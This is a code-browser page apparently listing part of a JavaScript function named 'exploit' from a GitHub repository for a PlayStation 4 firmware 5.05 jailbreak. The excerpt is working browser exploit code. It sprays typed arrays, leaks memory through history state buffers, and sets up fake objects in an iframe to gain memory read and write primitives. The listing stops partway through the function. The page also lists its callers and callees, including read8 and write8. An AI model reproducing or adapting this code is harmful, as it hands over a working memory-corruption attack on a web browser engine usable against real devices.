MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / exploit

Function exploit

restore/505goldhen/exploit.js:1033–1174  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

1031 runBinloader();
1032}
1033function exploit() {
1034 var instancespr = [];
1035 for (var i = 0; i < 0x1000; i++) {
1036 instancespr[i] = new Uint32Array(1);
1037 instancespr[i][makeid()] = 50057;
1038 }
1039 var tgt = {
1040 a: 0,
1041 b: 0,
1042 c: 0,
1043 d: 0
1044 };
1045 var y = new ImageData(1, 0x4000);
1046 postMessage("", "*", [y.data.buffer]);
1047 var props = {};
1048 for (var i = 0; i < (0x4000 / 2); ) {
1049 props[i++] = {
1050 value: 0x42424242
1051 };
1052 props[i++] = {
1053 value: tgt
1054 };
1055 }
1056 var foundLeak = undefined;
1057 var foundIndex = 0;
1058 var maxCount = 0x100;
1059 while (foundLeak == undefined && maxCount > 0) {
1060 maxCount--;
1061 history.pushState(y, "");
1062 Object.defineProperties({}, props);
1063 var leak = new Uint32Array(history.state.data.buffer);
1064 for (var i = 0; i < leak.length - 6; i++) {
1065 if (leak[i] == 0x42424242 && leak[i + 0x1] == 0xFFFF0000 && leak[i + 0x2] == 0x00000000 && leak[i + 0x3] == 0x00000000 && leak[i + 0x4] == 0x00000000 && leak[i + 0x5] == 0x00000000 && leak[i + 0x6] == 0x0000000E && leak[i + 0x7] == 0x00000000 && leak[i + 0xA] == 0x00000000 && leak[i + 0xB] == 0x00000000 && leak[i + 0xC] == 0x00000000 && leak[i + 0xD] == 0x00000000 && leak[i + 0xE] == 0x0000000E && leak[i + 0xF] == 0x00000000) {
1066 foundIndex = i;
1067 foundLeak = leak;
1068 break;
1069 }
1070 }
1071 }
1072 if (!foundLeak) {
1073 failed = true;
1074 fail("Failed to find leak!");
1075 }
1076 var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
1077 var leakJSVal = new int64(firstLeak[8], firstLeak[9]);
1078 try {
1079 Array.prototype.__defineGetter__(100, () => 1);
1080 var f = document.body.appendChild(document.createElement('iframe'));
1081 var a = new f.contentWindow.Array(13.37, 13.37);
1082 var b = new f.contentWindow.Array(u2d(leakJSVal.low + 0x10, leakJSVal.hi), 13.37);
1083 var master = new Uint32Array(0x1000);
1084 var slave = new Uint32Array(0x1000);
1085 var leakval_u32 = new Uint32Array(0x1000);
1086 var leakval_helper = [slave, 2, 3, 4, 5, 6, 7, 8, 9, 10];
1087 tgt.a = u2d(0x00000800, 0x01602300);
1088 tgt.b = 0;
1089 tgt.c = leakval_helper;
1090 tgt.d = 0x1337;

Callers

nothing calls this directly

Calls 6

makeidFunction · 0.70
failFunction · 0.70
u2dFunction · 0.70
callMethod · 0.45
read8Method · 0.45
write8Method · 0.45

Tested by

no test coverage detected